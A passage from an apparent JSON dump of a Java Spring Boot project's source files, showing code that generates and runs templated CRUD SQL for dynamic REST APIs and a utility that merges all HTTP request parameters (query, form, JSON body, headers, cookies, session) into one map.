apiSql.setText(getSQLText(dataSource,tableName,sqlType));\n        //Db.use(main).saveBean(apiSql);\n        Db.use(main).save(\"api_sql\",RecordUtil.beanToRecord(apiSql));\n\n        sqlType = \"count\";\n        path = \"/\"+entityName+\"/\"+sqlType;\n        id = entityName+\"_\"+sqlType;\n        apiSql.setId(id);\n        apiSql.setPath(path);\n        apiSql.setType(\"gen\");\n        apiSql.setText(getSQLText(dataSource,tableName,sqlType));\n        //Db.use(main).saveBean(apiSql);\n        Db.use(main).save(\"api_sql\",RecordUtil.beanToRecord(apiSql));\n\n        sqlType = \"one\";\n        path = \"/\"+entityName+\"/\"+sqlType;\n        id = entityName+\"_\"+sqlType;\n        apiSql.setId(id);\n        apiSql.setPath(path);\n        apiSql.setType(\"gen\");\n        apiSql.setText(getSQLText(dataSource,tableName,sqlType));\n        //Db.use(main).saveBean(apiSql);\n        Db.use(main).save(\"api_sql\",RecordUtil.beanToRecord(apiSql));\n    }\n\n    String getSQLText(DataSource dataSource,String tableName,String sqlType){\n        ClassInfo classInfo = CodeUtil.getClassInfo(dataSource,tableName);\n        HashMap<String, Object> map = Maps.newHashMap();\n        map.put(\"classInfo\",classInfo);\n        String sql = \"\";\n        try {\n            if(\"insert\".equalsIgnoreCase(sqlType)){\n                sql = DbUtil.insertSQL(map);\n            }\n            if(\"update\".equalsIgnoreCase(sqlType)){\n                sql = DbUtil.updateSQL(map);\n            }\n            if(\"delete\".equalsIgnoreCase(sqlType)){\n                sql = DbUtil.deleteSQL(map);\n            }\n            if(\"page\".equalsIgnoreCase(sqlType)){\n                sql = DbUtil.pageListSQL(map);\n            }\n            if(\"count\".equalsIgnoreCase(sqlType)){\n                sql = DbUtil.pageListCountSQL(map);\n            }\n            if(\"one\".equalsIgnoreCase(sqlType)){\n                sql = DbUtil.loadSQL(map);\n            }\n        } catch (IOException e) {\n            throw new RuntimeException(e);\n        } catch (TemplateException e) {\n            throw new RuntimeException(e);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        return sql;\n    }\n\n    public Object doSQLProcess(ApiSql apiSql1, Map<String, Object> parameters) throws SQLException {\n        try {\n\n            Map<String, Object> params = parameters;\n//\t\t\tif(MapUtil.getStr(params,\"pageNumber\")!=null && MapUtil.getStr(params,\"pageSize\")!=null ){\n//\t\t\t\tInteger size = Convert.convert(Integer.class, params.get(\"pageSize\"));\n//\t\t\t\tInteger page = Convert.convert(Integer.class, params.get(\"pageNumber\"));\n//\t\t\t\tparams.put(\"pageSize\", size);\n//\t\t\t\tparams.put(\"pageNumber\", size*(page-1));\n//\t\t\t}\n            List<ApiSql> sqlList = Arrays.asList(apiSql1);\n            if (CollectionUtils.isEmpty(params) && !CollectionUtils.isEmpty(sqlList) && JSON.toJSONString(sqlList).contains(\"#\")) {\n                return Result.fail(\"Request parameter is not exists(请求入参不能为空)!\");\n            }\n            DataSource ds = DataSourcePool.get(apiSql1.getDatasourceId());\n            if (ds == null ) {\n                ds = DataSourcePool.get(main);\n            }\n            Connection connection = ds.getConnection();\n            // 是否开启事务\n            boolean flag = true;//config.getOpenTrans() == 1 ? true : false;\n            // 执行sql\n            List<Object> dataList = executeSql(connection, sqlList, params, flag);\n            Object res = dataList;\n            // 如果只有单条sql,返回结果不是数组格式\n            if (dataList.size() == 1) {\n                res = dataList.get(0);\n            }\n            return res;\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw e;\n        }\n    }\n\n    public ApiDataSource getDatasource(String id) {\n        ApiDataSource info = new ApiDataSource();\n        Record record= Db.use(main).findById( \"api_datasource\" , id);\n        return RecordUtil.recordToBean(record,ApiDataSource.class);\n    }\n\n\n    public List<Object> executeSql(Connection connection, List<ApiSql> sqlList, Map<String, Object> sqlParam, boolean flag) {\n        List<Object> dataList = new ArrayList<>();\n        try {\n            if (flag)\n                connection.setAutoCommit(false);\n            else\n                connection.setAutoCommit(true);\n            for (ApiSql apiSql : sqlList) {\n//\t\t\t\tSqlMeta sqlMeta = JdbcUtil.getEngine().parse(apiSql.getSqlText(), sqlParam);\n//\t\t\t\tObject data = JdbcUtil.executeSql(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                Object data = JdbcUtil.executeSql(connection, apiSql.getText(), sqlParam);\n                dataList.add(data);\n            }\n            if (flag){\n                if(!connection.isClosed()){\n                    connection.commit();\n                }\n            }\n            return dataList;\n        } catch (Exception e) {\n            try {\n                if (flag)\n                    connection.rollback();\n            } catch (SQLException ex) {\n                ex.printStackTrace();\n            }\n            throw new RuntimeException(e);\n        } finally {\n            if (connection != null) {\n                try {\n                    connection.close();\n                } catch (SQLException e) {\n                    e.printStackTrace();\n                }\n            }\n        }\n    }\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/rest/util/DbUtil.java",
    "content": "package io.github.wujun728.rest.util;\n\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.IdUtil;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport com.alibaba.fastjson2.JSON;\nimport freemarker.template.TemplateException;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.generator.util.FreemarkerUtil;\nimport io.github.wujun728.sql.SqlEngine;\nimport io.github.wujun728.sql.SqlMeta;\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.sql.DataSource;\nimport java.io.IOException;\nimport java.sql.SQLException;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 见SQLUtil\n */\n@Slf4j\n@Deprecated\npublic class DbUtil {\n\n    public static String MASTER = \"master\";\n\n\n    public static Object executeSQL(DataSource ds, Map<String, Object> sqlParam, String deleteSQL)\n            throws SQLException {\n        SqlMeta sqlMeta = SqlEngine.getEngine().parse(deleteSQL, sqlParam);\n        Object datas = SqlEngine.executeSql(ds.getConnection(), sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n        System.err.println(JSON.toJSONString(datas));\n        return datas;\n    }\n\n    public static void initDb(String configName, String url, String username, String password) {\n        //ActiveRecordUtil.initActiveRecordPlugin(configName,url,username,password);\n    }\n\n    public static String updateSQL(HashMap<String, Object> data) throws IOException, TemplateException {\n        String updateSQL = \" UPDATE ${classInfo.tableName}\\r\\n\" + \"        <set>\\r\\n\"\n                + \"            <#list classInfo.fieldList as fieldItem >\\r\\n\"\n                + \"                <#if fieldItem.columnName != \\\"id\\\" && fieldItem.columnName != \\\"AddTime\\\" && fieldItem.columnName != \\\"UpdateTime\\\" >\\r\\n\"\n                + \"                    <if test=\\\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\\\">${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"}<#if fieldItem_has_next>,</#if>${r\\\"</if>\\\"}\\r\\n\"\n                + \"                </#if>\\r\\n\"\n                + \"            </#list>\\r\\n\"\n                + \"        </set>\\r\\n\"\n                + \"        WHERE \"\n                + \"            <#list classInfo.pkfieldList as fieldItem >\\r\\n\"\n                + \"                <#if fieldItem.isPrimaryKey != false  > \"\n                + \"                     ${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"} <#if fieldItem_has_next>AND</#if>   \"\n                + \"                </#if> \"\n                + \"                <#if fieldItem.isPrimaryKey == false  > \"\n                + \"                    <if test=\\\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\\\">  ${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"} <#if fieldItem_has_next>AND</#if>  ${r\\\"</if>\\\"} \"\n                + \"                </#if> \"\n                + \"            </#list>\\r\\n\";\n        return FreemarkerUtil.genTemplateStr(data, \"update\", updateSQL);\n    }\n    public static String updateSQLParams(HashMap<String, Object> data) throws IOException, TemplateException {\n        String paramsSQLTemplate = \" [ \\r\\n\"\n                + \"            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\\r\\n\"\n                + \"                <#list classInfo.fieldList as fieldItem >\\r\\n\"\n//\t\t\t\t+ \"                    <#if fieldItem.columnName != \\\"id\\\" >\\r\\n\"\n                + \"  {'name':'${fieldItem.fieldName}','type':'${fieldItem.columnType}','notNull':${fieldItem.notNull?string('true', 'false')},'maxLength':${fieldItem.columnSize?c}}<#if fieldItem_has_next>,</#if> \\r\\n\"\n//\t\t\t\t+ \"                    </#if>\\r\\n\"\n                + \"                </#list>\\r\\n\"\n                + \"            </#if>\\r\\n\"\n                + \" ] \";\n        String params = FreemarkerUtil.genTemplateStr(data,  paramsSQLTemplate);\n        return params;\n    }\n\n\n    public static Map<String, Object> buildSqlParams(HashMap<String, Object> data, String sql,\n                                                     String params, String cuudFlag) throws IOException, TemplateException {\n        Map<String, Object> sqlParam = new HashMap<String, Object>();\n        String className = FreemarkerUtil.genTemplateStr(data, \"${classInfo.className?uncap_first}\");\n        String path = \"/api/\"+FreemarkerUtil.genTemplateStr(data, \"${classInfo.className?uncap_first}\")+\"/\"+cuudFlag;\n        sqlParam.put(\"id\", IdUtil.fastSimpleUUID());\n        sqlParam.put(\"refs\", DbUtil.MASTER);\n        sqlParam.put(\"path\", path);\n        sqlParam.put(\"name\", path);\n        // sqlParam.put(\"method\", \"method-value\");\n        sqlParam.put(\"params\", params);\n//        sqlParam.put(\"interfaceId\", className + \"-\"+cuudFlag);\n        sqlParam.put(\"bean_name\", className + \"-\"+cuudFlag);\n        sqlParam.put(\"datasource_id\", \"local\");\n        sqlParam.put(\"script_type\", \"SQL\");\n        sqlParam.put(\"script_content\", sql);\n        sqlParam.put(\"status\", \"ENABLE\");\n        sqlParam.put(\"group_name\", className);\n        sqlParam.put(\"sort\", \"0\");\n        sqlParam.put(\"extend_info\", \"extendInfo-value\");\n        sqlParam.put(\"open_trans\", \"1\");\n        sqlParam.put(\"relutl_type\", null);\n        sqlParam.put(\"creator\", \"admin\");\n        sqlParam.put(\"created_time\", DateUtil.now());\n        sqlParam.put(\"update_time\", DateUtil.now());\n        sqlParam.put(\"last_update\", \"admin\");\n        return sqlParam;\n    }\n\n\n\n    public static String insertSQL(HashMap<String, Object> data) throws IOException, TemplateException {\n        String insertSQL = \" INSERT INTO ${classInfo.tableName}\\r\\n\"\n                + \"        <trim prefix=\\\"(\\\" suffix=\\\")\\\" suffixOverrides=\\\",\\\">\\r\\n\"\n                + \"            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\\r\\n\"\n                + \"                <#list classInfo.fieldList as fieldItem >\\r\\n\"\n                + \"                    <#if fieldItem.columnName != \\\"id\\\" >\\r\\n\"\n                + \"                        <if test=\\\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\\\">\\r\\n\"\n                + \"                        ${fieldItem.columnName}<#if fieldItem_has_next>,</#if>\\r\\n\"\n                + \"                        ${r\\\"</if>\\\"}\\r\\n\"\n                + \"                    </#if>\\r\\n\"\n                + \"                </#list>\\r\\n\"\n                + \"            </#if>\\r\\n\"\n                + \"        </trim>\\r\\n\"\n                + \"        <trim prefix=\\\"values (\\\" suffix=\\\")\\\" suffixOverrides=\\\",\\\">\\r\\n\"\n                + \"            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\\r\\n\"\n                + \"                <#list classInfo.fieldList as fieldItem >\\r\\n\"\n                + \"                    <#if fieldItem.columnName != \\\"id\\\" >\\r\\n\"\n                + \"                    <#--<#if fieldItem.columnName=\\\"addtime\\\" || fieldItem.columnName=\\\"updatetime\\\" >\\r\\n\"\n                + \"                    ${r\\\"<if test ='null != \\\"}${fieldItem.fieldName}${r\\\"'>\\\"}\\r\\n\"\n                + \"                        NOW()<#if fieldItem_has_next>,</#if>\\r\\n\"\n                + \"                    ${r\\\"</if>\\\"}\\r\\n\"\n                + \"                    <#else>-->\\r\\n\"\n                + \"                        <if test=\\\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\\\">\\r\\n\"\n                + \"                        ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"}<#if fieldItem_has_next>,</#if>\\r\\n\"\n                + \"                        ${r\\\"</if>\\\"}\\r\\n\"\n                + \"                    <#--</#if>-->\\r\\n\"\n                + \"                    </#if>\\r\\n\"\n                + \"                </#list>\\r\\n\"\n                + \"            </#if>\\r\\n\"\n                + \"        </trim> \";\n        return FreemarkerUtil.genTemplateStr(data, \"insert\", insertSQL);\n    }\n\n    public static String insertSQLParams(HashMap<String, Object> data) throws IOException, TemplateException {\n        String paramsSQLTemplate = \" [ \\r\\n\"\n                + \"            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\\r\\n\"\n                + \"                <#list classInfo.fieldList as fieldItem >\\r\\n\"\n                + \"                    <#if fieldItem.columnName != \\\"id\\\" >\\r\\n\"\n                + \"  {'name':'${fieldItem.fieldName}','type':'${fieldItem.columnType}','notNull':${fieldItem.notNull?string('true', 'false')},'maxLength':${fieldItem.columnSize?c}}<#if fieldItem_has_next>,</#if> \\r\\n\"\n                + \"                    </#if>\\r\\n\"\n                + \"                </#list>\\r\\n\"\n                + \"            </#if>\\r\\n\"\n                + \" ] \";\n        String params = FreemarkerUtil.genTemplateStr(data,  paramsSQLTemplate);\n        return params;\n    }\n\n    public static String pageListSQL(HashMap<String, Object> data) throws IOException, TemplateException {\n        String pageListSQL = \" SELECT  <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>   \\r\\n\"\n                + \"            <#list classInfo.fieldList as fieldItem >   \\r\\n\"\n                + \"                ${fieldItem.columnName} as ${fieldItem.fieldName} <#if fieldItem_has_next>,</#if>  \\r\\n\"\n                + \"            </#list>\\r\\n\" + \"        </#if>    \\r\\n\"\n                + \"        FROM ${classInfo.tableName}   \\r\\n\"\n                + \"        LIMIT ${r\\\"#{pageNumber}\\\"}, ${r\\\"#{pageSize}\\\"} \";\n        return FreemarkerUtil.genTemplateStr(data, \"pageListSQL\", pageListSQL);\n    }\n\n\n    public static String pageListCountSQL(HashMap<String, Object> data) throws IOException, TemplateException {\n        String pageListCountSQL = \" SELECT count(1)\\r\\n\"\n                + \"        FROM ${classInfo.tableName} \";\n        return FreemarkerUtil.genTemplateStr(data, \"pageListCountSQL\", pageListCountSQL);\n    }\n\n\n\n    public static String loadSQL(HashMap<String, Object> data) throws IOException, TemplateException {\n        String loadSQL = \" SELECT  <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\\r\\n\"\n                + \"            <#list classInfo.fieldList as fieldItem >\\r\\n\"\n                + \"                ${fieldItem.columnName} as ${fieldItem.fieldName} <#if fieldItem_has_next>,</#if>\\r\\n\"\n                + \"            </#list>\\r\\n\"\n                + \"        </#if>  \\r\\n\"\n                + \"        FROM ${classInfo.tableName}\\r\\n\"\n                + \"        WHERE \"\n                + \"            <#list classInfo.pkfieldList as fieldItem >\\r\\n\"\n                + \"                <#if fieldItem.isPrimaryKey != false  > \"\n                + \"                     ${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"} <#if fieldItem_has_next>AND</#if>   \"\n                + \"                </#if> \"\n                + \"                <#if fieldItem.isPrimaryKey == false  > \"\n                + \"                    <if test=\\\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\\\">  ${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"} <#if fieldItem_has_next>AND</#if>  ${r\\\"</if>\\\"} \"\n                + \"                </#if> \"\n                + \"            </#list>\\r\\n\";\n        return FreemarkerUtil.genTemplateStr(data, \"load\", loadSQL);\n    }\n    public static String loadSQLParams(HashMap<String, Object> data) throws IOException, TemplateException {\n        String paramsSQLTemplate = \" [ \\r\\n\"\n                + \"<#list classInfo.pkfieldList as fieldItem >\"\n                + \" <#if fieldItem.isPrimaryKey != false  >\"\n                + \"  {'name':'${fieldItem.fieldName}','type':'${fieldItem.columnType}','notNull':${fieldItem.notNull?string('true', 'false')},'maxLength':${fieldItem.columnSize?c}}<#if fieldItem_has_next>,</#if> \\r\\n\"\n                + \"</#if>\"\n                + \"</#list>\"\n                + \" ] \";\n        String params = FreemarkerUtil.genTemplateStr(data,  paramsSQLTemplate);\n        return params;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public static String deleteSQL(HashMap<String, Object> data) throws IOException, TemplateException, SQLException {\n        String deleteSQLTemplate = \" DELETE FROM ${classInfo.tableName} \\r\\n\"\n                + \"        WHERE \"\n                + \"            <#list classInfo.pkfieldList as fieldItem >\\r\\n\"\n                + \"                <#if fieldItem.isPrimaryKey != false  > \"\n                + \"                     ${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"} <#if fieldItem_has_next>AND</#if>   \"\n                + \"                </#if> \"\n                + \"                <#if fieldItem.isPrimaryKey == false  > \"\n                + \"                    <if test=\\\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\\\">  ${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"} <#if fieldItem_has_next>AND</#if>  ${r\\\"</if>\\\"} \"\n                + \"                </#if> \"\n                + \"            </#list>\\r\\n\";\n        String deleteSQL = FreemarkerUtil.genTemplateStr(data, deleteSQLTemplate);\n        return deleteSQL;\n    }\n\n    public static String deleteSQLParams(HashMap<String, Object> data) throws IOException, TemplateException {\n        String paramsSQLTemplate = \" [ \\r\\n\"\n                + \"<#list classInfo.pkfieldList as fieldItem >\"\n                + \" <#if fieldItem.isPrimaryKey != false  >\"\n                + \"  {'name':'${fieldItem.fieldName}','type':'${fieldItem.columnType}','notNull':${fieldItem.notNull?string('true', 'false')},'maxLength':${fieldItem.columnSize?c}}<#if fieldItem_has_next>,</#if> \\r\\n\"\n                + \"</#if>\"\n                + \"</#list>\"\n                + \" ] \";\n        String params = FreemarkerUtil.genTemplateStr(data,  paramsSQLTemplate);\n        return params;\n    }\n\n\n    public static String printSQLParams(HashMap<String, Object> data)\n            throws IOException, TemplateException, SQLException {\n        String deleteSQLTemplate = \" Map<String, Object> sqlParam = new HashMap<String, Object>();\\r\\n\"\n                + \"<#list classInfo.pkfieldList as fieldItem >\" + \"<#if fieldItem.isPrimaryKey != false  >\"\n                + \"  sqlParam.put(\\\"${fieldItem.fieldName}\\\", \\\"${fieldItem.fieldName}-value\\\");\\r\\n\" + \"</#if>\"\n                + \"</#list>\";\n        FreemarkerUtil.genTemplateStr(data, \"delete\", deleteSQLTemplate);\n        deleteSQLTemplate = \" Map<String, Object> sqlParam = new HashMap<String, Object>();\\r\\n\"\n                + \"<#list classInfo.fieldList as fieldItem >\" + \"<#if fieldItem.isPrimaryKey == false  >\"\n                + \"  sqlParam.put(\\\"${fieldItem.fieldName}\\\", \\\"${fieldItem.fieldName}-value\\\");\\r\\n\" + \"</#if>\"\n                + \"</#list>\";\n        FreemarkerUtil.genTemplateStr(data, \"delete\", deleteSQLTemplate);\n        return null;\n    }\n\n\n    public static Record getTableRecord(DataSource ds, String tableName, Map params){\n        Record record = new Record();\n        Table table = MetaUtil.getTableMeta(ds,tableName);\n        table.getColumns().forEach(c->{\n            record.set(c.getName(), MapUtil.getStr(params,c.getName()));\n        });\n        return record;\n    }\n\n    public static String getPkNames(DataSource ds, String tableName){\n        Table table = MetaUtil.getTableMeta(ds,tableName);\n        return String.join(\",\",table.getPkNames());\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/rest/util/HttpRequestUtil.java",
    "content": "package io.github.wujun728.rest.util;\n\nimport cn.hutool.core.collection.CollectionUtil;\nimport cn.hutool.core.io.IORuntimeException;\nimport cn.hutool.core.io.IoUtil;\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.CharsetUtil;\nimport cn.hutool.core.util.NumberUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.json.JSONArray;\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport com.google.common.collect.Maps;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.CollectionUtils;\nimport org.springframework.util.MultiValueMap;\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\nimport org.springframework.web.util.UriComponentsBuilder;\n\nimport javax.servlet.ServletRequest;\nimport javax.servlet.http.Cookie;\nimport javax.servlet.http.HttpServletRequest;\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.net.URLDecoder;\nimport java.util.*;\nimport java.util.regex.Pattern;\n\n/**\n * HTTP请求工具类\n * 整合路径参数、URL参数、表单、JSON Body、Header、Cookie、Session等所有维度的参数解析\n * 兼容原有老方法，新增统一参数解析能力\n *\n * @author wujun\n */\n@Slf4j\n@Component\npublic class HttpRequestUtil {\n\n    // 线程本地存储请求对象\n    private static final ThreadLocal<HttpServletRequest> requests = ThreadLocal.withInitial(() -> null);\n\n    // ==================== 核心新方法（整合所有参数解析能力） ====================\n\n    /**\n     * 解析请求中所有维度的参数（整合版核心方法）\n     * 包含：路径参数、URL参数、表单、JSON Body、Header、Cookie、Session、IP、URI等\n     *\n     * @param request      HTTP请求对象\n     * @param pathParams   路径参数（如@PathVariable解析的参数）\n     * @return 合并后的所有参数\n     */\n    public static Map<String, Object> parseAllParams(HttpServletRequest request, Map<String, String> pathParams) {\n        // 初始化参数Map，保持插入顺序\n        Map<String, Object> allParams = new LinkedHashMap<>();\n        setRequest(request);\n\n        // 1. 路径参数\n        if (MapUtil.isNotEmpty(pathParams)) {\n            allParams.putAll(convertNumberMap(pathParams));\n        }\n\n        // 2. URL查询参数\n        Map<String, Object> urlParams = getQueryString(request);\n        if (MapUtil.isNotEmpty(urlParams)) {\n            allParams.putAll(urlParams);\n        }\n\n        // 3. 表单参数\n        Map<String, Object> formParams = getParameterMap(request);\n        if (MapUtil.isNotEmpty(formParams)) {\n            allParams.putAll(formParams);\n        }\n\n        // 4. JSON Body参数\n        Map<String, Object> jsonParams = getHttpJsonParams(request);\n        if (MapUtil.isNotEmpty(jsonParams)) {\n            allParams.putAll(jsonParams);\n        }\n\n        // 5. Header参数（添加header_前缀避免冲突）\n        Map<String, Object> headerParams = buildHeaderParams(request);\n        if (MapUtil.isNotEmpty(headerParams)) {\n            Map<String, Object> prefixHeaderParams = new HashMap<>();\n            headerParams.forEach((k, v) -> prefixHeaderParams.put(\"header_\" + k.toLowerCase().replace(\"-\", \"_\"), v));\n            allParams.putAll(prefixHeaderParams);\n        }\n\n        // 6. Cookie参数（添加cookie_前缀避免冲突）\n        Map<String, Object> cookieParams = getCookieMap(request);\n        if (MapUtil.isNotEmpty(cookieParams)) {\n            Map<String, Object> prefixCookieParams = new HashMap<>();\n            cookieParams.forEach((k, v) -> prefixCookieParams.put(\"cookie_\" + k.toLowerCase(), v));\n            allParams.putAll(prefixCookieParams);\n        }\n\n        // 7. Session参数\n        Map<String, Object> sessionParams = buildSessionParams(request);\n        if (MapUtil.isNotEmpty(sessionParams)) {\n            allParams.putAll(sessionParams);\n        }\n\n        // 8. 基础信息\n        allParams.put(\"uri\", request.getRequestURI());\n        allParams.put(\"ip\", getIp(request));\n\n        // 统一转换数字类型\n        allParams.replaceAll((k, v) -> convertNumber(v));\n\n        return allParams;\n    }\n\n    /**\n     * 解析所有参数（无路径参数）\n     */\n    public static Map<String, Object> parseAllParams(HttpServletRequest request) {\n        return parseAllParams(request, new HashMap<>());\n    }\n\n    /**\n     * 获取当前请求上下文的所有参数\n     */\n    public static Map<String, Object> parseCurrentRequestAllParams(Map<String, String> pathParams) {\n        return parseAllParams(getHttpServletRequest(), pathParams);\n    }\n\n    /**\n     * 获取当前请求上下文的所有参数（无路径参数）\n     */\n    public static Map<String, Object> parseCurrentRequestAllParams() {\n        return parseCurrentRequestAllParams(new HashMap<>());\n    }\n\n    /**\n     * 手动解析Cookie为Map\n     */\n    private static Map<String, Object> getCookieMap(HttpServletRequest request) {\n        Map<String, Object> cookieMap = new HashMap<>();\n        Cookie[] cookies = request.getCookies();\n\n        if (cookies == null || cookies.length == 0) {\n            return cookieMap;\n        }\n\n        for (Cookie cookie : cookies) {\n            cookieMap.put(cookie.getName(), cookie.getValue());\n        }\n        return cookieMap;\n    }\n\n    /**\n     * 转换Map中所有值为数字类型（如有必要）\n     */\n    private static Map<String, Object> convertNumberMap(Map<String, String> sourceMap) {\n        Map<String, Object> targetMap = new HashMap<>();\n        sourceMap.forEach((k, v) -> targetMap.put(k, convertNumber(v)));\n        return targetMap;\n    }\n\n    // ==================== 原有老方法（标记过时，内部调用新方法） ====================\n\n    /**\n     * 获取当前HTTP请求对象\n     * @deprecated 建议使用更语义化的方法名，后续会移除\n     */\n    @Deprecated\n    public static HttpServletRequest getHttpServletRequest() {\n        return ((ServletRequestAttributes) Objects.requireNonNull(RequestContextHolder.getRequestAttributes())).getRequest();\n    }\n\n    /**\n     * 判断是否为AJAX请求\n     */\n    public static boolean isAjaxRequest(HttpServletRequest request) {\n        String accept = request.getHeader(\"accept\");\n        String xRequestedWith = request.getHeader(\"X-Requested-With\");\n        return ((accept != null && accept.contains(\"application/json\")\n                || (xRequestedWith != null && xRequestedWith.contains(\"XMLHttpRequest\"))));\n    }\n\n    /**\n     * 获取线程内的请求对象\n     * @deprecated 建议使用 getHttpServletRequest()，后续会移除\n     */\n    @Deprecated\n    public static HttpServletRequest getRequest() {\n        return requests.get();\n    }\n\n    /**\n     * 设置线程内的请求对象\n     * @deprecated 内部使用，后续会移除\n     */\n    @Deprecated\n    public static void setRequest(HttpServletRequest request) {\n        requests.set(request);\n    }\n\n    /**\n     * 获取所有参数（老方法，兼容）\n     * @deprecated 建议使用 parseAllParams(HttpServletRequest) 方法\n     */\n    @Deprecated\n    public static Map<String, Object> getAllParameters(HttpServletRequest request) {\n        return parseAllParams(request);\n    }\n\n    /**\n     * 获取表单参数Map\n     */\n    public static Map<String, Object> getParameterMap(HttpServletRequest request) {\n        Map<String, Object> map = new HashMap<>();\n        Enumeration<String> paramNames = request.getParameterNames();\n        while (paramNames.hasMoreElements()) {\n            String paramName = paramNames.nextElement();\n            Object[] paramValues = request.getParameterValues(paramName);\n            if (paramValues.length == 1) {\n                Object paramValue = paramValues[0];\n                if (StrUtil.isNotBlank(String.valueOf(paramValue))) {\n                    map.put(paramName, convertNumber(paramValue));\n                }\n            }\n        }\n        return map;\n    }\n\n    /**\n     * 转换值为数字类型（如有必要）\n     */\n    public static Object convertNumber(Object paramValue) {\n        String valueStr = String.valueOf(paramValue);\n        if (NumberUtil.isInteger(valueStr)) {\n            return Integer.parseInt(valueStr);\n        } else if (NumberUtil.isLong(valueStr)) {\n            return Long.parseLong(valueStr);\n        } else if (NumberUtil.isDouble(valueStr)) {\n            return Double.parseDouble(valueStr);\n        } else {\n            return paramValue;\n        }\n    }\n\n    /**\n     * 读取请求体内容\n     */\n    public static String getBody(ServletRequest request) {\n        try {\n            BufferedReader reader = request.getReader();\n            return IoUtil.read(reader);\n        } catch (IOException var2) {\n            throw new IORuntimeException(var2);\n        }\n    }\n\n    /**\n     * 解析JSON请求体参数\n     */\n    public static Map<String, Object> getHttpJsonParams(HttpServletRequest request) {\n        try {\n            Map<String, Object> params = new HashMap<>();\n            String json = getBody(request);\n            String jsonContent = json;\n\n            if (JSONUtil.isTypeJSON(jsonContent)) {\n                if (JSONUtil.isTypeJSONArray(jsonContent)) {\n                    JSONArray jsonArray = JSONUtil.parseArray(jsonContent);\n                    traverseJsonArray(jsonArray, \"\", params);\n                }\n                if (JSONUtil.isTypeJSONObject(jsonContent)) {\n                    JSONObject jsonObject = JSONUtil.parseObj(jsonContent);\n                    traverseJsonTree(jsonObject, \"\", params);\n                }\n            } else {\n                json = URLDecoder.decode(json, CharsetUtil.UTF_8);\n                params = getUrlParams2(request, json);\n                if (CollectionUtil.isNotEmpty(params)) {\n                    StaticLog.info(\"非JSON格式数据，按URL参数解析：\" + jsonContent);\n                }\n            }\n            return params;\n        } catch (Exception e) {\n            log.error(\"解析JSON参数失败\", e);\n            return Maps.newHashMap();\n        }\n    }\n\n    /**\n     * 将URL参数转换为Map（过时方法）\n     * @deprecated 内部使用，后续会移除\n     */\n    @Deprecated\n    public static Map getUrlParams2(HttpServletRequest request, String param) {\n        StringBuffer url = request.getRequestURL();\n        url.append(\"?\").append(param);\n        Map<String, Object> result = new HashMap<>();\n        MultiValueMap<String, String> urlMvp = UriComponentsBuilder.fromHttpUrl(url.toString()).build().getQueryParams();\n        urlMvp.forEach((key, value) -> {\n            String firstValue = CollectionUtils.isEmpty(value) ? null : value.get(0);\n            result.put(key, convertNumber(firstValue));\n        });\n        return result;\n    }\n\n    /**\n     * 构建Header参数Map\n     */\n    public static Map<String, Object> buildHeaderParams(HttpServletRequest request) {\n        Enumeration<String> headerKeys = request.getHeaderNames();\n        Map<String, Object> result = new HashMap<>();\n        while (headerKeys.hasMoreElements()) {\n            String key = headerKeys.nextElement();\n            Object value = request.getHeader(key);\n            result.put(key, convertNumber(value));\n        }\n        return result;\n    }\n\n    /**\n     * 构建Session参数Map\n     */\n    public static Map<String, Object> buildSessionParams(HttpServletRequest request) {\n        Enumeration<String> keys = request.getSession().getAttributeNames();\n        Map<String, Object> result = new HashMap<>();\n        while (keys.hasMoreElements()) {\n            String key = keys.nextElement();\n            result.put(key, request.getSession().getAttribute(key));\n        }\n        return result;\n    }\n\n    /**\n     * 获取URL查询参数\n     */\n    public static Map<String, Object> getQueryString(HttpServletRequest request) {\n        StringBuffer url = request.getRequestURL();\n        if (StrUtil.isNotBlank(request.getQueryString())) {\n            url.append(\"?\").append(request.getQueryString());\n        